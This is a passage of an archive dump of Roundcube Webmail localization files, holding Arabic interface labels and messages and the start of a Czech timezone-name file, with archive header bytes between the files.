$labels['spellcheckignorenums'] = 'تجاهل الكلمات التي تحتوي أرقام';
$labels['spellcheckignorecaps'] = 'تجاهل الكلمات التي بها أحرف كبيرة';
$labels['addtodict'] = 'إضافة إلى القامس';
$labels['mailtoprotohandler'] = 'تسجيل متحكم بروتوكول  mailto: رابط';
$labels['standardwindows'] = 'التعامل مع النوافذ المنبثقة كـ نوافذ قياسية';
$labels['forwardmode'] = 'اعادة توجية الرسائل';
$labels['inline'] = 'مضمن';
$labels['asattachment'] = 'كـ مرفق ';
$labels['replyallmode'] = 'الاجراء الافتراضي لـ زر [الرد على الجميع]';
$labels['replyalldefault'] = 'الرد على الجميع';
$labels['replyalllist'] = 'الرد فقط على القائمة البريدية (اذا كانت موجودة)';
$labels['allmessages'] = 'كل الرسائل';
$labels['folder'] = 'مجلد';
$labels['folders'] = 'مجلدات';
$labels['foldername'] = 'اسم المجلد';
$labels['subscribed'] = 'مشترك';
$labels['messagecount'] = 'الرسائل';
$labels['create'] = 'أنشئ';
$labels['createfolder'] = 'أنشئ مجلد جديد';
$labels['managefolders'] = 'إدارة المجلدات';
$labels['specialfolders'] = 'المجلّدات المُميّزة';
$labels['properties'] = 'الخواص';
$labels['folderproperties'] = 'خواص المجلد';
$labels['parentfolder'] = 'المجلد الحاوي';
$labels['location'] = 'الموضع';
$labels['info'] = 'معلومات';
$labels['getfoldersize'] = 'اضغط لمعرفة حجم المجلد';
$labels['changesubscription'] = 'اضغط لتغيير حالة الإشتراك';
$labels['foldertype'] = 'نوع المجلد';
$labels['personalfolder'] = 'مجلد خاص';
$labels['otherfolder'] = 'مجلد مستخدم آخر';
$labels['sharedfolder'] = 'مجلد عام';
$labels['encryption'] = 'التشفير';
$labels['sortby'] = 'ترتيب بحسب';
$labels['sortasc'] = 'ترتيب تصاعدي';
$labels['sortdesc'] = 'ترتيب تنازلي';
$labels['undo'] = 'تراجع';
$labels['installedplugins'] = 'اضافات مثبتة';
$labels['plugin'] = 'إضافة';
$labels['version'] = 'النسخة';
$labels['source'] = 'المصدر';
$labels['license'] = 'الترخيص';
$labels['support'] = 'احصل على الدعم الفني';
$labels['B'] = 'ب';
$labels['KB'] = 'ك.ب';
$labels['MB'] = 'م.ب';
$labels['GB'] = 'ج.ب';
$labels['unicode'] = 'يونيكود';
$labels['english'] = 'الإنجليزية';
$labels['westerneuropean'] = 'الغرب أوروبية';
$labels['easterneuropean'] = 'الشرق أوروبية';
$labels['southeasterneuropean'] = 'الجنوب شرق أوروبية';
$labels['baltic'] = 'البلطيقية';
$labels['cyrillic'] = 'الكيريلية';
$labels['arabic'] = 'العربية';
$labels['greek'] = 'اليونانية';
$labels['hebrew'] = 'العبرية';
$labels['turkish'] = 'التركية';
$labels['nordic'] = 'النرويجية';
$labels['thai'] = 'التايلندية';
$labels['celtic'] = 'الكلتية';
$labels['vietnamese'] = 'الفيتنامية';
$labels['japanese'] = 'اليابانية';
$labels['korean'] = 'الكورية';
$labels['chinese'] = 'الصينية';
$labels['arialabelmessagessearchfilter'] = 'مرشح قائمة البريد الإلكتروني';
$labels['arialabelresponsesmenu'] = 'قائمة الردود الجاهزة';
PK
h�\:�_T_T'program/localization/ar_SA/messages.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/messages/
*/

$messages['errortitle']  = 'حدث خطأ!';
$messages['loginfailed']  = 'فشل تسجيل الدخول';
$messages['cookiesdisabled'] = 'المتصفح الخاص بك لا يقبل الكوكيز';
$messages['sessionerror'] = 'انتهت صلاحية الجلسة الحالية أو أنها غيرصالحة';
$messages['cookiesmismatch'] = 'تم اكتشاف عدم تطابق في ملف تعريف الارتباط. من فضلك ، امسح ملفات تعريف الارتباط في المتصفح الخاص بك.';
$messages['storageerror'] = 'فشل الاتصال بخادم التخزين.';
$messages['servererror'] = 'خطأ في الخادم!';
$messages['servererrormsg'] = 'خطأ خادم: $msg';
$messages['accountlocked'] = 'عدد كبير جدًا من محاولات تسجيل الدخول الفاشلة. حاول مرة أخرى في وقت لاحق.';
$messages['connerror'] = 'خطأ في الاتصال (فشل في الوصول الى الخادم)!';
$messages['dberror'] = 'خطأ في قاعدة البيانات!';
$messages['dbconnerror'] = 'غير قادر على الاتصال بقاعدة البيانات!';
$messages['windowopenerror'] = 'تم منع النافذة المنبثقة!';
$messages['requesttimedout'] = 'انتهت مهلة الطلب ';
$messages['errorreadonly'] = 'تعذر تنفيذ العملية. المجلد للقراءة فقط.';
$messages['errornoperm'] = 'تعذر تنفيذ العملية. ليست لديك الصلاحية.';
$messages['erroroverquota'] = 'تعذر تنفيذ العملية. لايوجد مساحة كافية.';
$messages['erroroverquotadelete'] = 'لا يوجد مساحة كافية. استخدم SHIFT+DEL لحذف الرسالة.';
$messages['invalidrequest'] = 'طلب غير صالح! لم تحفظ أية بيانات.';
$messages['invalidhost'] = 'اسم الملقم غير صالح.';
$messages['nomessagesfound'] = 'لم يعثر على أية رسائل في صندوق البريد هذا';
$messages['loggedout'] = 'لقد أنهيت الجلسة بنجاح. مع السلامة!';
$messages['mailboxempty'] = 'صندوق البريد فارغ';
$messages['nomessages'] = 'لا يوجد رسائل';
$messages['refreshing'] = 'جاري التحديث...';
$messages['loading'] = 'جاري العمل...';
$messages['uploading'] = 'جاري رفع الملف...';
$messages['attaching'] = 'إرفاق الملف جارٍ...';
$messages['uploadingmany'] = 'جاري تحميل الملفات...';
$messages['loadingdata'] = 'تحميل البيانات...';
$messages['checkingmail'] = 'التحقق من وجود رسائل جديدة...';
$messages['sendingmessage'] = 'إرسال الرسالة...';
$messages['messagesent'] = 'تم إرسال الرسالة بنجاح';
$messages['savingmessage'] = 'حفظ الرسالة...';
$messages['messagesaved'] = 'تم حفظ الرسالة في المسودات';
$messages['successfullysaved'] = 'تم الحفظ بنجاح';
$messages['savingresponse'] = 'جاري حفظ نص الرد...';
$messages['deleteresponseconfirm'] = 'هل تريد فعلاً حذف نص الرد هذا؟';
$messages['nocontactselected'] = 'لم تقم بتحديد جهة اتصال حتى الآن.';
$messages['addedsuccessfully'] = 'تمت إضافة المراسل إلى دفتر العناوينبنجاح';
$messages['contactexists'] = 'توجد جهة اتصال لها عنوان البريد الإلكتروني نفسه.';
$messages['contactnameexists'] = 'هناك مُرسال له نفس الإسم موجود مسبقاً.';
$messages['blockedimages'] = 'لحماية خصوصيتك، تم حجب الصور الغير مضمنة(البعيدة) في هذه الرسالة.';
$messages['blockedresources'] = 'لحماية خصوصيتك تم حظر الموارد البعيدة.';
$messages['suspiciousemail'] = 'تحتوي هذه الرسالة على عناوين بريد إلكتروني مشبوهة قد تكون احتيالية.';
$messages['encryptedmessage'] = 'هذه الرسالة مشفرة ولا يمكن عرضها. عذراً!';
$messages['externalmessagedecryption'] = 'هذه رسالة مشفرة ويمكن فك تشفيرها بملحق المتصفح الخاص بك.';
$messages['nopubkeyfor'] = 'لم يتم العثور على مفتاح عام صالح لـ $email';
$messages['nopubkeyforsender'] = 'لم يتم العثور على مفتاح عام صالح لهوية المرسل الخاصة بك. هل تريد تشفير الرسالة للمستلمين فقط؟';
$messages['encryptnoattachments'] = 'لا يمكن تشفير المرفقات التي تم تحميلها بالفعل. يرجى إعادة إضافتها في محرر التشفير.';
$messages['searchpubkeyservers'] = 'هل تريد البحث في خوادم المفاتيح العامة عن المفاتيح المفقودة؟';
$messages['encryptpubkeysfound'] = 'تم العثور على المفاتيح العامة التالية:';
$messages['keyservererror'] = 'فشل الحصول على مفتاح من خادم المفاتيح.';
$messages['keyimportsuccess'] = 'تم استيراد المفتاح العام $key بنجاح إلى حلقة المفاتيح.';
$messages['nocontactsfound'] = 'لم يعثر على أي مراسل';
$messages['contactnotfound'] = 'تعذر العثور على المراسل المطلوب';
$messages['contactsearchonly'] = 'يجب عليك استخدام نموذج بحث لرؤية جهات الاتصال من دفتر العناوين المحدد.';
$messages['sendingfailed'] = 'فشل إرسال الرسالة';
$messages['senttooquickly'] = 'رجاء انتظر $sec ثوان قبل إرسال هذه الرسالة';
$messages['errorsavingsent'] = 'حدث خطأ أثناء حفظ الرسالة المُرسلة.';
$messages['errorsaving'] = 'حدث خطأ أثناء الحفظ.';
$messages['errormoving'] = 'تعذر نقل هذه الرسالة';
$messages['errorcopying'] = 'تعذر نسخ الرسائل';
$messages['errordeleting'] = 'تعذر حذف هذه الرسالة';
$messages['errormarking'] = 'تعذر تحديد الرسائل';
$messages['alerttitle'] = 'انتباه';
$messages['confirmationtitle'] = 'هل أنت متأكد...';
$messages['deletecontactconfirm']  = 'هل تريد حقاً حذف المراسلـ(ين) المحدد(ين)؟';
$messages['deletegroupconfirm']  = 'هل تريد فعلاً حذف المجموعة المحددة؟';
$messages['deletemessagesconfirm'] = 'هل تريد حذف الرسائل المحددة؟';
$messages['deletefolderconfirm']  = 'هل تريد حقاً حذف هذا المجلد؟';
$messages['movefolderconfirm']  = 'هل تريد حقًا نقل هذا المجلد؟';
$messages['purgefolderconfirm']  = 'هل تريد حقاً حذف جميع الرسائل في هذاالمجلد؟';
$messages['contactdeleting'] = 'جاري حذف المُراسلين...';
$messages['groupdeleting'] = 'جاري حذف المجموعة...';
$messages['folderdeleting'] = 'جاري حذف المجلد...';
$messages['foldermoving'] = 'جاري نقل المجلد...';
$messages['foldersubscribing'] = 'الإشتراك في المجلد...';
$messages['folderunsubscribing'] = 'إلغاء الإشتراك في المجد...';
$messages['formincomplete'] = 'لم يتم تعبئة بيانات الاستمارة بالكامل';
$messages['noemailwarning'] = 'الرجاء إدخال عنوان بريد إلكتروني صالح';
$messages['nonamewarning']  = 'الرجاء إدخال اسم';
$messages['nopagesizewarning'] = 'الرجاء إدخال حجم الصفحة';
$messages['nosenderwarning'] = 'الرجاء إدخال عنوان البريد الإلكتروني للمرسِل.';
$messages['recipientsadded'] = 'تمت إضافة المستلم(ين) بنجاح.';
$messages['norecipientwarning'] = 'الرجاء إدخال اسم مستقبل واحد على الأقل';
$messages['disclosedrecipwarning'] = 'سيرى جميع المستلمين عناوين البريد الإلكتروني لبعضهم البعض. لمنع ذلك وحماية خصوصيتهم ، يمكنك استخدام حقل نسخة مخفية الوجهة.';
$messages['disclosedreciptitle'] = 'عدد كبير جدًا من المستلمين العامين';
$messages['nosubjectwarning']  = 'حقل "الموضوع" فارغ. هل تريد كتابة موضوعللرسالة؟';
$messages['nosubjecttitle']  = 'لا يوجد عنوان';
$messages['nobodywarning'] = 'إرسال هذه الرسالة دون نص؟';
$messages['notsentwarning'] = 'لم يتم إرسال الرسالة وبها تغييرات غير محفوظة. هل تريد تجاهل التغييرات الخاصة بك؟';
$messages['restoresavedcomposedata'] = 'يوجد رسالة سابقة ولاكن غير مرسلة.\n\nالموضوع: $subject\nحفظ: $date\n\n هل تريد بالفعل استعادة هذة الرسالة ؟';
$messages['nosearchname'] = 'الرجاء إدخال اسم مراسل أو عنوان بريدإلكتروني';
$messages['notuploadedwarning'] = 'لم يتم رفع جميع المرفقات بعد. رجاءً الانتظار أو إلغاء عملية الرفع.';
$messages['searchsuccessful'] = 'عثر على $nr رسائل';
$messages['contactsearchsuccessful'] = 'عُثر على $nr مُراسَل';
$messages['searchnomatch'] = 'لم يعثر على شيء';
$messages['searching'] = 'جاري البحث...';
$messages['checking'] = 'جاري التحقق...';
$messages['stillsearching'] = 'البحث لازال جارياً...';
$messages['nospellerrors'] = 'لم يعثر على أية أخطاء إملائية';
$messages['folderdeleted'] = 'تم حذف المجلد بنجاح';
$messages['foldersubscribed'] = 'تم الإشتراك في المجلد بنجاح';
$messages['folderunsubscribed'] = 'تم إلغاء الإشتراك في المجلد بنجاح';
$messages['deletedsuccessfully'] = 'تم الحذف بنجاح';
$messages['converting'] = 'إزالة التنسيق من الرسالة...';
$messages['messageopenerror'] = 'تعذرت قراءة الرسالة من الخادم';
$messages['filelinkerror'] = 'فشل إرفاق الملف.';
$messages['fileuploaderror'] = 'فشل رفع الملف';
$messages['csvfilemismatch'] = 'لا يتم دعم استيراد ملفات CSV متعددة بحقول مختلفة.';
$messages['filesizeerror'] = 'حجم الملف الذي تحاول رفعه أكبر من الحجمالأقصى $size';
$messages['filecounterror'] = 'يمكنك تحميل ملفات بحد أقصى $count مرة واحدة.';
$messages['msgsizeerror'] = 'فشل إرفاق ملف. تم تجاوز الحد الأقصى لحجم الرسالة ($size).';
$messages['msgsizeerrorfwd'] = 'تم تجاوز الحد الأقصى لحجم الرسالة ($size). لم يتم إرفاق رسالة (رسائل) $num.';
$messages['copysuccess'] = 'تم نسخ $nr جهة اتصال بنجاح.';
$messages['movesuccess'] = 'تم نقل $nr جهة اتصال بنجاح.';
$messages['copyerror'] = 'لا يمكن نسخ أية جهة اتصال.';
$messages['moveerror'] = 'لا يمكن نقل أية جهة اتصال.';
$messages['sourceisreadonly'] = 'لا يمكن تعديل مصدر العنوان هذا';
$messages['errorsavingcontact'] = 'تعذر حفظ عنوان المراسل';
$messages['movingmessage'] = 'جاري نقل الرسالة...';
$messages['copyingmessage'] = 'جاري نسخ الرسالة...';
$messages['copyingcontact'] = 'جاري نسخ المُراسلين...';
$messages['movingcontact'] = 'جاري نقل جهات الاتصال...';
$messages['deletingmessage'] = 'جاري حذف الرسائل...';
$messages['markingmessage'] = 'جاري تحديد الرسائل...';
$messages['addingmember'] = 'جاري إضافة المُراسلين إلى المجموعة...';
$messages['removingmember'] = 'جاري إزالة المراسلين من المجموعة...';
$messages['receiptsent'] = 'أرسل إيصال الاستلام بنجاح';
$messages['errorsendingreceipt'] = 'تعذر إرسال إيصال الاستلام';
$messages['deleteidentityconfirm'] = 'هل تريد فعلاً حذف هذا المعرف؟';
$messages['nodeletelastidentity'] = 'لا يمكن حذف هذا السجل حيث أنه الوحيدالمتبقي.';
$messages['forbiddencharacter'] = 'اسم المجلّد يحتوي حروفاً ممنوعة';
$messages['selectimportfile'] = 'رجاء اختر ملفاً لرفعه';
$messages['addresswriterror'] = 'دفتر العناوين المحدد غير قابل للكتابة';
$messages['contactaddedtogroup'] = 'تمت إضافة المراسلين إلى هذه المجموعةبنجاح';
$messages['contactremovedfromgroup'] = 'تمت إزالة المراسلين من هذه المجموعةبنجاح';
$messages['nogroupassignmentschanged'] = 'لم يتم تغيير مهام المجموعة.';
$messages['importwait'] = 'جاري الاستيراد، رجاء انتظر...';
$messages['importformaterror'] = 'فشل في الاستيراد! الملف الذي تحاول رفعة ليس ملف استيراد صالح. ';
$messages['importconfirm'] = '<b>تم استيراد $inserted مراسلين بنجاح، وتجاهل$skipped موجودين مسبقاً</b>:<p><em>$names</em></p>';
$messages['importconfirmskipped'] = '<b>تم تجاهل $skipped عناصر موجودة</b>';
$messages['importmessagesuccess'] = 'تم استرداد $nr رسالة بنجاح';
$messages['importmessageerror'] = 'فشل في الاستيراد! الملف الذي تحاول رفعة ليس رسالة او صندوق بريد صالح. ';
$messages['opnotpermitted'] = 'العملية ممنوعة!';
$messages['nofromaddress'] = 'الهوية المحددة ينقصها عنوان البريد الإلكتروني.';
$messages['editorwarning'] = 'تغيير نوع المحرر قد يسبب فقد تنسيق النصز  هل ترغب المتابعة؟';
$messages['httpreceivedencrypterror'] = 'حدث خطأ جسيم في التهيئة. رجاءً اتصال بمدير الخادم حالاً. <b>لا يمكن إرسال بريدك.</b>';
$messages['smtpconnerror'] = 'خطأ SMTP ($code): تعذر الاتصال بالخادم';
$messages['smtpautherror'] = 'خطأ SMTP ($code): تعذر التحقق من هويتك';
$messages['smtpfromerror'] = 'خطأ SMTP ($code): تعذر تحديد المرسل "$from" ($msg)';
$messages['smtptoerror'] = 'خطأ SMTP ($code): تعذرت إضافة المستلم "$to" ($msg)';
$messages['smtprecipientserror'] = 'خطأ SMTP: تعذرت قراءة قائمة المرسل إليهم';
$messages['smtputf8error'] = 'خطأ SMTP: لا يدعم الخادم Unicode في عنوان البريد الإلكتروني.';
$messages['smtpsizeerror'] = 'خطأ SMTP: حجم الرسالة يتجاوز حد الخادم ($limit)';
$messages['smtperror'] = 'خطأ SMTP: $msg';
$messages['emailformaterror'] = 'عنوان بريد إلكتروني غير صحيح: $email';
$messages['toomanyrecipients'] = 'عدد المرسل إليهم كبير. قلص العدد إلى $max.';
$messages['maxgroupmembersreached'] = 'عدد أعضاء المجموعة أكثر من $max';
$messages['internalerror'] = 'حدث خطأ داخلي. الرجاء المحاولة مرة أخرى.';
$messages['contactdelerror'] = 'تعذر حذف أسماء جهات الإتصال';
$messages['contactdeleted'] = 'تم حذف أسماء جهات الإتصال بنجاح';
$messages['contactrestoreerror'] = 'تعذر استعادة المُراسل المحذوف.';
$messages['contactrestored'] = 'تم استعادة المُراسل بنجاح.';
$messages['groupdeleted'] = 'تم حذف المجموعة بنجاح';
$messages['grouprenamed'] = 'تم تغيير إسم المجموعة بنجاح';
$messages['groupcreated'] = 'تم إنشاء المجموعة بنجاح';
$messages['savedsearchdeleted'] = 'تم بنجاح حذف البحث المحفوظ.';
$messages['savedsearchdeleteerror'] = 'تعذر حذف البحث المحفوظ';
$messages['savedsearchcreated'] = 'تم بنجاح إنشاء البحث المحفوظ.';
$messages['savedsearchcreateerror'] = 'تعذر إنشاء بحث محفوظ.';
$messages['messagedeleted'] = 'تم حذف الرسائل بنجاح';
$messages['messagemoved'] = 'تم نقل الرسائل بنجاح';
$messages['messagemovedtotrash'] = 'تم نقل الرسالة (الرسائل) إلى المهملات بنجاح.';
$messages['messagecopied'] = 'تم نسخ الرسائل بنجاح';
$messages['messagemarked'] = 'تم تحديد الرسائل بنجاح';
$messages['autocompletechars'] = 'إكتب $min أحرف على الأقل للحصول على التكملةالتلقائية';
$messages['autocompletemore'] = 'هناك المزيد من النتائج المطابقة. رجاءاكتب كلمات بحث أكثر.';
$messages['namecannotbeempty'] = 'لا يمكن ترك الإسم فارغاً';
$messages['nametoolong'] = 'الإسم طويل جداً';
$messages['namedotforbidden'] = 'لا يمكن أن يبدأ اسم المجلد بنقطة.';
$messages['folderupdated'] = 'تم تحديث المجلد بنجاح';
$messages['foldercreated'] = 'تم إنشاء المجلد بنجاح';
$messages['invalidimageformat'] = 'ليست صيغة صورة صحيحة';
$messages['mispellingsfound'] = 'عُثر على أخطاء إملائية في الرسالة';
$messages['parentnotwritable'] = 'تعذر إنشاء/نقل المجلد إلى المجلد المحدد.ليست لديك الصلاحية.';
$messages['messagetoobig'] = 'جزء الرسالة أكبر بكثير مما يمكن معالجته.';
$messages['attachmentvalidationerror'] = 'هذا المرفق مريب لأن نوعه لا يتطابق مع النوع المعلن في الرسالة. إذا كنت لا تثق في المرسل ، فلا يجب عليك فتحه في المتصفح لأنه قد يحتوي على محتويات ضارة <br/><br/><em>. $expected; تم العثور على: $detected </em>';
$messages['noscriptwarning'] = 'تحذير: خادم البريد الالكتروني هذا يتطلب جافاسكربت , يرجى تفعيل الـ جافاسكربت في اعدادت المتصفح الخاص بك لتتمكن من استخدامة.';
$messages['messageissent'] = 'تم إرسال الرسالة بالفعل ، ولكن لم يتم حفظها بعد. هل تريد حفظها الآن؟';
$messages['errnotfound'] = 'لم يتم العثور على الملف';
$messages['errnotfoundexplain'] = 'لم يتم العثور على المورد المطلوب!';
$messages['errfailedrequest'] = 'لم يتم الطلب';
$messages['errauthorizationfailed'] = 'فشل التفويض';
$messages['errunauthorizedexplain'] = 'تعذر التحقق من أنك مخول للوصول إلى هذه الخدمة!';
$messages['errrequestcheckfailed'] = 'فشل التحقق من الطلب';
$messages['errcsrfprotectionexplain'] = "لحمايتك ، الوصول إلى هذا المورد مؤمن ضد CSRF.\n إذا رأيت هذا ، فمن المحتمل أنك لم تقم بتسجيل الخروج قبل مغادرة تطبيق الويب.\n\n التفاعل البشري مطلوب الآن للمتابعة.";
$messages['errcontactserveradmin'] = 'يرجى الاتصال بمسؤول الخادم الخاص بك.';
$messages['clicktoresumesession'] = 'انقر هنا لاستئناف جلستك السابقة';
$messages['errcomposesession'] = 'خطأ في تكوين الجلسة';
$messages['errcomposesessionexplain'] = 'لم يتم العثور على جلسة الإنشاء المطلوبة.';
$messages['clicktocompose'] = 'انقر هنا لإنشاء رسالة جديدة';
$messages['nosupporterror'] = 'هذه الميزة لا يدعمها متصفح الويب الخاص بك.';
$messages['siginserted'] = 'تم إدخال توقيع بنجاح.';
$messages['responseinserted'] = 'تم إدخال الرد بنجاح.';
$messages['noresponsesavailable'] = 'لا توجد ردود متاحة';
$messages['listempty'] = 'القائمة فارغة.';
$messages['listusebutton'] = 'استخدم الزر "إنشاء" لإضافة سجل جديد.';
$messages['keypaircreatesuccess'] = 'تم إنشاء زوج مفاتيح جديد بنجاح لـ $identity .';
$messages['emptyattachment'] = 'يبدو أن هذا المرفق فارغ. <br>من فضلك ، تحقق مع الشخص الذي أرسل هذا.';
$messages['oauthloginfailed'] = 'فشل تسجيل الدخول إلى OAuth. حاول مرة أخرى.';
PK
h�\Kȧ�OO(program/localization/cs_CZ/timezones.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/timezones/
*/

$labels['tz:utc'] = 'UTC';
$labels['tz:africa'] = 'Afrika';
$labels['tz:africa:abidjan'] = 'Abidjan';
$labels['tz:africa:accra'] = 'Akkra';
$labels['tz:africa:addis_ababa'] = 'Addis Abeba';
$labels['tz:africa:algiers'] = 'Alžír';
$labels['tz:africa:asmara'] = 'Asmara';
$labels['tz:africa:bamako'] = 'Bamako';
$labels['tz:africa:bangui'] = 'Bangui';
$labels['tz:africa:banjul'] = 'Banjul';
$labels['tz:africa:bissau'] = 'Bissau';
$labels['tz:africa:blantyre'] = 'Blantyre';
$labels['tz:africa:brazzaville'] = 'Brazzaville';
$labels['tz:africa:bujumbura'] = 'Bujumbura';
$labels['tz:africa:cairo'] = 'Káhira';
$labels['tz:africa:casablanca'] = 'Casablanca';
$labels['tz:africa:ceuta'] = 'Ceuta';
$labels['tz:africa:conakry'] = 'Konakry';
$labels['tz:africa:dakar'] = 'Dakar';
$labels['tz:africa:dar_es_salaam'] = 'Dar es Salám';
$labels['tz:africa:djibouti'] = 'Džibuti';
$labels['tz:africa:douala'] = 'Douala';
$labels['tz:africa:el_aaiun'] = 'El-Aaiún';
$labels['tz:africa:freetown'] = 'Freetown';
$labels['tz:africa:gaborone'] = 'Gaborone';
$labels['tz:africa:harare'] = 'Harare';
$labels['tz:africa:johannesburg'] = 'Johannesburg';
$labels['tz:africa:juba'] = 'Džúbá';
$labels['tz:africa:kampala'] = 'Kampala';
$labels['tz:africa:khartoum'] = 'Chartúm';
$labels['tz:africa:kigali'] = 'Kigali';
$labels['tz:africa:kinshasa'] = 'Kinshasa';
$labels['tz:africa:lagos'] = 'Lagos';
$labels['tz:africa:libreville'] = 'Libreville';
$labels['tz:africa:lome'] = 'Lomé';
$labels['tz:africa:luanda'] = 'Luanda';
$labels['tz:africa:lubumbashi'] = 'Lubumbashi';
$labels['tz:africa:lusaka'] = 'Lusaka';
$labels['tz:africa:malabo'] = 'Malabo';
$labels['tz:africa:maputo'] = 'Maputo';
$labels['tz:africa:maseru'] = 'Maseru';
$labels['tz:africa:mbabane'] = 'Mbabane';
$labels['tz:africa:mogadishu'] = 'Mogadišo';
$labels['tz:africa:monrovia'] = 'Monrovia';
$labels['tz:africa:nairobi'] = 'Nairobi';
$labels['tz:africa:ndjamena'] = 'N´Djamena';
$labels['tz:africa:niamey'] = 'Niamey';
$labels['tz:africa:nouakchott'] = 'Nouakchott';
$labels['tz:africa:ouagadougou'] = 'Ouagadougou';
$labels['tz:africa:porto-novo'] = 'Porto Novo';
$labels['tz:africa:sao_tome'] = 'Svatý Tomáš';
$labels['tz:africa:tripoli'] = 'Tripolis';
$labels['tz:africa:tunis'] = 'Tunis';
$labels['tz:africa:windhoek'] = 'Windhoek';
$labels['tz:america'] = 'Amerika';
$labels['tz:america:adak'] = 'Adak';
$labels['tz:america:anchorage'] = 'Anchorage';
$labels['tz:america:anguilla'] = 'Anguilla';
$labels['tz:america:antigua'] = 'Antigua';
$labels['tz:america:araguaina'] = 'Araguaina';
$labels['tz:america:argentina'] = 'Argentina';
$labels['tz:america:argentina:buenos_aires'] = 'Buenos Aires';
$labels['tz:america:argentina:catamarca'] = 'Catamarca';
$labels['tz:america:argentina:cordoba'] = 'Córdoba';
$labels['tz:america:argentina:jujuy'] = 'Jujuy';
$labels['tz:america:argentina:la_rioja'] = 'La Rioja';
$labels['tz:america:argentina:mendoza'] = 'Mendoza';
$labels['tz:america:argentina:rio_gallegos'] = 'Rio Gallegos';
$labels['tz:america:argentina:salta'] = 'Salta';
$labels['tz:america:argentina:san_juan'] = 'San Juan';
$labels['tz:america:argentina:san_luis'] = 'San Luis';
$labels['tz:america:argentina:tucuman'] = 'Tucuman';
$labels['tz:america:argentina:ushuaia'] = 'Ushuaia';
$labels['tz:america:aruba'] = 'Aruba';
$labels['tz:america:asuncion'] = 'Asunción';
$labels['tz:america:atikokan'] = 'Atikokan';
$labels['tz:america:bahia'] = 'Bahia';
$labels['tz:america:bahia_banderas'] = 'Bahia Banderas';
$labels['tz:america:barbados'] = 'Barbados';
$labels['tz:america:belem'] = 'Belem';
$labels['tz:america:belize'] = 'Belize';
$labels['tz:america:blanc-sablon'] = 'Blanc-Sablon';
$labels['tz:america:boa_vista'] = 'Boa Vista';
$labels['tz:america:bogota'] = 'Bogota';
$labels['tz:america:boise'] = 'Boise';
$labels['tz:america:cambridge_bay'] = 'Cambridge Bay';
$labels['tz:america:campo_grande'] = 'Campo Grande';
$labels['tz:america:cancun'] = 'Cancún';
$labels['tz:america:caracas'] = 'Caracas';
$labels['tz:america:cayenne'] = 'Cayenne';
$labels['tz:america:cayman'] = 'Kajmanské ostrovy';
$labels['tz:america:chicago'] = 'Chicago';
$labels['tz:america:chihuahua'] = 'Chihuahua';
$labels['tz:america:costa_rica'] = 'Kostarika';
$labels['tz:america:creston'] = 'Creston';
$labels['tz:america:cuiaba'] = 'Cuiaba';
$labels['tz:america:curacao'] = 'Curaçao';
$labels['tz:america:danmarkshavn'] = 'Danmarkshavn';
$labels['tz:america:dawson'] = 'Dawson';
$labels['tz:america:dawson_creek'] = 'Dawson Creek';
$labels['tz:america:denver'] = 'Denver';
$labels['tz:america:detroit'] = 'Detroit';
$labels['tz:america:dominica'] = 'Dominika';
$labels['tz:america:edmonton'] = 'Edmonton';
$labels['tz:america:eirunepe'] = 'Eirunepé';
$labels['tz:america:el_salvador'] = 'El Salvador';
$labels['tz:america:fort_nelson'] = 'Fort Nelson';
$labels['tz:america:fortaleza'] = 'Fortaleza';
$labels['tz:america:glace_bay'] = 'Glace Bay';
$labels['tz:america:godthab'] = 'Godthab';
$labels['tz:america:goose_bay'] = 'Goose Bay';
$labels['tz:america:grand_turk'] = 'Grand Turk';
$labels['tz:america:grenada'] = 'Grenada';
$labels['tz:america:guadeloupe'] = 'Guadeloupe';
$labels['tz:america:guatemala'] = 'Guatemala';
$labels['tz:america:guayaquil'] = 'Guayaquil';
$labels['tz:america:guyana'] = 'Guyana';
$labels['tz:america:halifax'] = 'Halifax';
$labels['tz:america:havana'] = 'Havana';
$labels['tz:america:hermosillo'] = 'Hermosillo';
$labels['tz:america:indiana'] = 'Indiana';
$labels['tz:america:indiana:indianapolis'] = 'Indianapolis';
$labels['tz:america:indiana:knox'] = 'Knox';
$labels['tz:america:indiana:marengo'] = 'Marengo';
$labels['tz:america:indiana:petersburg'] = 'Petersburg';
$labels['tz:america:indiana:tell_city'] = 'Tell City';
$labels['tz:america:indiana:vevay'] = 'Vevay';
$labels['tz:america:indiana:vincennes'] = 'Vincennes';
$labels['tz:america:indiana:winamac'] = 'Winamac';
$labels['tz:america:inuvik'] = 'Inuvik';
$labels['tz:america:iqaluit'] = 'Iqaluit';
$labels['tz:america:jamaica'] = 'Jamajka';
$labels['tz:america:juneau'] = 'Juneau';
$labels['tz:america:kentucky'] = 'Kentucky';
$labels['tz:america:kentucky:louisville'] = 'Louisville';
$labels['tz:america:kentucky:monticello'] = 'Monticello';
$labels['tz:america:kralendijk'] = 'Kralendijk';
$labels['tz:america:la_paz'] = 'La Paz';
$labels['tz:america:lima'] = 'Lima';
$labels['tz:america:los_angeles'] = 'Los Angeles';
$labels['tz:america:lower_princes'] = 'Lower Princes';
$labels['tz:america:maceio'] = 'Maceio';
$labels['tz:america:managua'] = 'Managua';
$labels['tz:america:manaus'] = 'Manaus';
$labels['tz:america:marigot'] = 'Marigot';
$labels['tz:america:martinique'] = 'Martinik';
$labels['tz:america:matamoros'] = 'Matamoros';
$labels['tz:america:mazatlan'] = 'Mazatlan';
$labels['tz:america:menominee'] = 'Menominee';
$labels['tz:america:merida'] = 'Merida';
$labels['tz:america:metlakatla'] = 'Metlakatla';
$labels['tz:america:mexico_city'] = 'Mexico City';
$labels['tz:america:miquelon'] = 'Miquelon';
$labels['tz:america:moncton'] = 'Moncton';
$labels['tz:america:monterrey'] = 'Monterrey';
$labels['tz:america:montevideo'] = 'Montevideo';
$labels['tz:america:montserrat'] = 'Montserrat';
$labels['tz:america:nassau'] = 'Nassau';
$labels['tz:america:new_york'] = 'New York';
$labels['tz:america:nipigon'] = 'Nipigon';
$labels['tz:america:nome'] = 'Nome';
